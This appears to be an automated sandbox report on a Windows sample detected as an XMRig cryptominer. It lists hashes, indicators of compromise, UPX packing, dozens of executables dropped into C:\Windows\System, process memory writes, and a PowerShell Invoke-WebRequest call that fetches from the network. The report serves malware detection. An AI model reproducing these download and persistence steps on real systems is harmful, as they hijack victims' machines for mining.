xmrig | 6faa4907ba6b34299c8afe17b65fdfa9c34e18fa21d824d40bc3f1b9de4f346a

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
16/05/2024, 11:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
Size

1.3MB
MD5

dd90a343f34a465cf8f2330bd8944350
SHA1

0bf3af8aeb4614c063cc1df4b5c0982f3dc356ba
SHA256

6faa4907ba6b34299c8afe17b65fdfa9c34e18fa21d824d40bc3f1b9de4f346a
SHA512

0a7661c98342b16dfa4456aa6e7dc77b5210921fb1c710629e63bd014e7e0845fd3f471b3aa03be64bcd54b40780e543379a6af4b6920f3041bd83c97ea34361
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjhnXwx8/2Pbx/mbGRmfjK:Lz071uv4BPMkHC0IlnASEx/Rf

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 22 IoCs

miner

resource	yara_rule
behavioral1/memory/2968-9-0x000000013F090000-0x000000013F482000-memory.dmp	xmrig
behavioral1/memory/2428-31-0x000000013F640000-0x000000013FA32000-memory.dmp	xmrig
behavioral1/memory/2560-41-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	xmrig
behavioral1/memory/2460-48-0x000000013F8A0000-0x000000013FC92000-memory.dmp	xmrig
behavioral1/memory/1844-56-0x000000013F400000-0x000000013F7F2000-memory.dmp	xmrig
behavioral1/memory/1844-55-0x000000013FF90000-0x0000000140382000-memory.dmp	xmrig
behavioral1/memory/2752-77-0x000000013FEB0000-0x00000001402A2000-memory.dmp	xmrig
behavioral1/memory/2560-367-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	xmrig
behavioral1/memory/2660-65-0x000000013FE60000-0x0000000140252000-memory.dmp	xmrig
behavioral1/memory/2444-1130-0x000000013FD60000-0x0000000140152000-memory.dmp	xmrig
behavioral1/memory/2752-6231-0x000000013FEB0000-0x00000001402A2000-memory.dmp	xmrig
behavioral1/memory/2968-6514-0x000000013F090000-0x000000013F482000-memory.dmp	xmrig
behavioral1/memory/2428-6518-0x000000013F640000-0x000000013FA32000-memory.dmp	xmrig
behavioral1/memory/2560-6523-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	xmrig
behavioral1/memory/2660-6528-0x000000013FE60000-0x0000000140252000-memory.dmp	xmrig
behavioral1/memory/2444-6530-0x000000013FD60000-0x0000000140152000-memory.dmp	xmrig
behavioral1/memory/2644-6547-0x000000013F220000-0x000000013F612000-memory.dmp	xmrig
behavioral1/memory/1532-6645-0x000000013FD30000-0x0000000140122000-memory.dmp	xmrig
behavioral1/memory/2316-6574-0x000000013F400000-0x000000013F7F2000-memory.dmp	xmrig
behavioral1/memory/1552-6572-0x000000013FAF0000-0x000000013FEE2000-memory.dmp	xmrig
behavioral1/memory/1760-6552-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	xmrig
behavioral1/memory/2460-6529-0x000000013F8A0000-0x000000013FC92000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1932	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2968	bKpKgOZ.exe
2660	FWzwasg.exe
2428	LbIOGMP.exe
2560	HPONzBK.exe
2460	tsQTZHH.exe
2444	kfAFfKO.exe
2316	cvWklGS.exe
2644	hnuGXjW.exe
2752	UPydsBW.exe
1760	SSzxngQ.exe
1552	ssdSOtO.exe
1532	tQwGjha.exe
2120	FmQLYWP.exe
356	KGdvVgB.exe
1184	WtNDDFo.exe
1340	Mfevupf.exe
2164	FOAhwgD.exe
2828	ykqqTRn.exe
2432	aCEJhoA.exe
2332	MAQaOgk.exe
3004	IjcuCZN.exe
2612	xjPHGMN.exe
2208	ZUDboSq.exe
668	KoifEUW.exe
1508	CHKSvnT.exe
632	qHVRTBJ.exe
984	LqBXUUZ.exe
1772	cDQfVWr.exe
888	vyiAekg.exe
1664	DwzhWif.exe
1200	fvgxoLo.exe
2912	OrGWJQS.exe
2988	UJHxDLl.exe
608	VXDgmZM.exe
1428	JqgLMvS.exe
1872	GeDEmoL.exe
788	tNoJgBT.exe
1204	vbLCKAf.exe
860	HHWFKYh.exe
872	tyPbIay.exe
1648	PwnoQmu.exe
3060	QZGcNct.exe
1536	xHsrBDa.exe
1888	fMZgBuQ.exe
2256	fNxCIXW.exe
3040	ttKxOad.exe
2124	gDCdxjQ.exe
1668	JwGndwk.exe
1996	HMfumLm.exe
2112	bQCjKHw.exe
2832	JAdBkpV.exe
1628	eSnWruN.exe
1500	cOVaaAV.exe
1524	TQtNWCC.exe
2776	rYEkdEB.exe
2620	ItDuJGn.exe
2568	CoJkcwc.exe
2688	WhLmUvf.exe
2768	VTYthny.exe
2744	gMOFVEK.exe
2516	aKgFXZR.exe
2604	YRzenUO.exe
2992	mwNPCMg.exe
2852	sIyDPVB.exe

Loads dropped DLL 64 IoCs

pid	Process
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1844-1-0x000000013FF90000-0x0000000140382000-memory.dmp	upx
behavioral1/files/0x000c00000001480e-6.dat	upx
behavioral1/memory/2968-9-0x000000013F090000-0x000000013F482000-memory.dmp	upx
behavioral1/files/0x00070000000155f6-22.dat	upx
behavioral1/memory/2660-19-0x000000013FE60000-0x0000000140252000-memory.dmp	upx
behavioral1/files/0x0030000000014eb9-16.dat	upx
behavioral1/memory/2428-31-0x000000013F640000-0x000000013FA32000-memory.dmp	upx
behavioral1/files/0x001800000000558a-35.dat	upx
behavioral1/files/0x0008000000015645-45.dat	upx
behavioral1/memory/2560-41-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	upx
behavioral1/memory/2460-48-0x000000013F8A0000-0x000000013FC92000-memory.dmp	upx
behavioral1/files/0x003000000001502c-49.dat	upx
behavioral1/files/0x000700000001564d-54.dat	upx
behavioral1/memory/2444-53-0x000000013FD60000-0x0000000140152000-memory.dmp	upx
behavioral1/memory/1844-55-0x000000013FF90000-0x0000000140382000-memory.dmp	upx
behavioral1/memory/2316-60-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/files/0x0008000000015c4c-64.dat	upx
behavioral1/files/0x0007000000015d24-75.dat	upx
behavioral1/memory/2752-77-0x000000013FEB0000-0x00000001402A2000-memory.dmp	upx
behavioral1/files/0x0006000000015d44-81.dat	upx
behavioral1/files/0x0006000000015e6d-100.dat	upx
behavioral1/files/0x0006000000015fa7-111.dat	upx
behavioral1/files/0x0006000000016c3a-159.dat	upx
behavioral1/files/0x0006000000016ce4-179.dat	upx
behavioral1/files/0x0006000000016cfd-191.dat	upx
behavioral1/files/0x0006000000016d05-196.dat	upx
behavioral1/memory/2560-367-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	upx
behavioral1/files/0x0006000000016cf5-186.dat	upx
behavioral1/files/0x0006000000016cb2-173.dat	upx
behavioral1/files/0x0006000000016c1d-164.dat	upx
behavioral1/files/0x0006000000016c42-161.dat	upx
behavioral1/files/0x0006000000016c8c-168.dat	upx
behavioral1/files/0x0006000000016813-142.dat	upx
behavioral1/files/0x000600000001654a-136.dat	upx
behavioral1/files/0x0006000000016a6f-149.dat	upx
behavioral1/files/0x00060000000162c9-126.dat	upx
behavioral1/files/0x00060000000165f0-140.dat	upx
behavioral1/files/0x0006000000016476-131.dat	upx
behavioral1/files/0x00060000000160cc-117.dat	upx
behavioral1/files/0x00060000000161b3-121.dat	upx
behavioral1/files/0x0006000000015f3c-107.dat	upx
behavioral1/files/0x0006000000015e09-95.dat	upx
behavioral1/memory/1532-98-0x000000013FD30000-0x0000000140122000-memory.dmp	upx
behavioral1/memory/1760-84-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/memory/1552-90-0x000000013FAF0000-0x000000013FEE2000-memory.dmp	upx
behavioral1/files/0x0006000000015d4c-87.dat	upx
behavioral1/memory/2644-68-0x000000013F220000-0x000000013F612000-memory.dmp	upx
behavioral1/memory/2660-65-0x000000013FE60000-0x0000000140252000-memory.dmp	upx
behavioral1/memory/2444-1130-0x000000013FD60000-0x0000000140152000-memory.dmp	upx
behavioral1/memory/2752-6231-0x000000013FEB0000-0x00000001402A2000-memory.dmp	upx
behavioral1/memory/2968-6514-0x000000013F090000-0x000000013F482000-memory.dmp	upx
behavioral1/memory/2428-6518-0x000000013F640000-0x000000013FA32000-memory.dmp	upx
behavioral1/memory/2560-6523-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	upx
behavioral1/memory/2660-6528-0x000000013FE60000-0x0000000140252000-memory.dmp	upx
behavioral1/memory/2444-6530-0x000000013FD60000-0x0000000140152000-memory.dmp	upx
behavioral1/memory/2644-6547-0x000000013F220000-0x000000013F612000-memory.dmp	upx
behavioral1/memory/1532-6645-0x000000013FD30000-0x0000000140122000-memory.dmp	upx
behavioral1/memory/2316-6574-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/memory/1552-6572-0x000000013FAF0000-0x000000013FEE2000-memory.dmp	upx
behavioral1/memory/1760-6552-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/memory/2460-6529-0x000000013F8A0000-0x000000013FC92000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\aKgFXZR.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\abGfmEX.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\FlvXfJf.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\etjGaeu.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\gUSgtlT.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\UDJDjvo.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\dmYEBKp.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\iHRdyfZ.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\BUTkbmA.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\ygmKfpu.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\KwGiyyH.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\qPYAUGU.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\SNzMUEi.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\Dzgpoev.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\ObVevhF.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\wekpozF.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\dyGrobE.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\iWILSVa.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\pvjdrdB.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\bcsKNah.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\fUUZSVx.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\PtkEjkg.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\TkCtUbC.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\FkEkpBD.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\YxUzbMJ.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\dzdvMqT.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\qsTHZYx.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\ctJHlQi.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\gWddqUz.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\GjJvxRK.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\jeOYGuP.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\HaHUxjZ.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\gpOyGXv.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\mltuJQF.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\GvCYKps.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\JfPvnLV.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\nbXbzcT.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\kikmznI.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\mAIezmx.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\bmILOed.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\VYxlGyX.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\etucwwP.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\JdHvoOr.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\eJzJyol.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\wFFoBkF.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\QwpTrZI.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\LjLIpPK.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\rDBwUMb.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\FmvTjOD.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\vEUIZvP.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\dOkCYCo.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\kFPWgEZ.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\OuLxZRf.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\eSpYWId.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\BCfgRYK.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\aGpgDej.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\pAmQXgj.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\SqiakoU.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\HDZkAyZ.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\ZBgeayU.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\RRwJNJp.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\uVnlihg.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\YXZGmwY.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
File created	C:\Windows\System\GKPUKTc.exe	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1932	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
Token: SeDebugPrivilege	1932	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 1932	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	29
PID 1844 wrote to memory of 1932	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	29
PID 1844 wrote to memory of 1932	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	29
PID 1844 wrote to memory of 2968	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	30
PID 1844 wrote to memory of 2968	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	30
PID 1844 wrote to memory of 2968	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	30
PID 1844 wrote to memory of 2660	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	31
PID 1844 wrote to memory of 2660	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	31
PID 1844 wrote to memory of 2660	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	31
PID 1844 wrote to memory of 2428	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	32
PID 1844 wrote to memory of 2428	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	32
PID 1844 wrote to memory of 2428	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	32
PID 1844 wrote to memory of 2560	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	33
PID 1844 wrote to memory of 2560	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	33
PID 1844 wrote to memory of 2560	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	33
PID 1844 wrote to memory of 2460	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	34
PID 1844 wrote to memory of 2460	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	34
PID 1844 wrote to memory of 2460	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	34
PID 1844 wrote to memory of 2444	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	35
PID 1844 wrote to memory of 2444	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	35
PID 1844 wrote to memory of 2444	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	35
PID 1844 wrote to memory of 2316	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	36
PID 1844 wrote to memory of 2316	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	36
PID 1844 wrote to memory of 2316	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	36
PID 1844 wrote to memory of 2644	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	37
PID 1844 wrote to memory of 2644	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	37
PID 1844 wrote to memory of 2644	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	37
PID 1844 wrote to memory of 2752	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	38
PID 1844 wrote to memory of 2752	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	38
PID 1844 wrote to memory of 2752	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	38
PID 1844 wrote to memory of 1760	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	39
PID 1844 wrote to memory of 1760	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	39
PID 1844 wrote to memory of 1760	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	39
PID 1844 wrote to memory of 1552	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	40
PID 1844 wrote to memory of 1552	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	40
PID 1844 wrote to memory of 1552	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	40
PID 1844 wrote to memory of 1532	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	41
PID 1844 wrote to memory of 1532	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	41
PID 1844 wrote to memory of 1532	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	41
PID 1844 wrote to memory of 2120	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	42
PID 1844 wrote to memory of 2120	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	42
PID 1844 wrote to memory of 2120	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	42
PID 1844 wrote to memory of 356	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	43
PID 1844 wrote to memory of 356	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	43
PID 1844 wrote to memory of 356	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	43
PID 1844 wrote to memory of 1184	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	44
PID 1844 wrote to memory of 1184	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	44
PID 1844 wrote to memory of 1184	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	44
PID 1844 wrote to memory of 1340	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	45
PID 1844 wrote to memory of 1340	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	45
PID 1844 wrote to memory of 1340	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	45
PID 1844 wrote to memory of 2164	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	46
PID 1844 wrote to memory of 2164	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	46
PID 1844 wrote to memory of 2164	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	46
PID 1844 wrote to memory of 2828	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	47
PID 1844 wrote to memory of 2828	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	47
PID 1844 wrote to memory of 2828	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	47
PID 1844 wrote to memory of 2432	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	48
PID 1844 wrote to memory of 2432	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	48
PID 1844 wrote to memory of 2432	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	48
PID 1844 wrote to memory of 2332	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	49
PID 1844 wrote to memory of 2332	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	49
PID 1844 wrote to memory of 2332	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	49
PID 1844 wrote to memory of 3004	1844	dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\dd90a343f34a465cf8f2330bd8944350_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
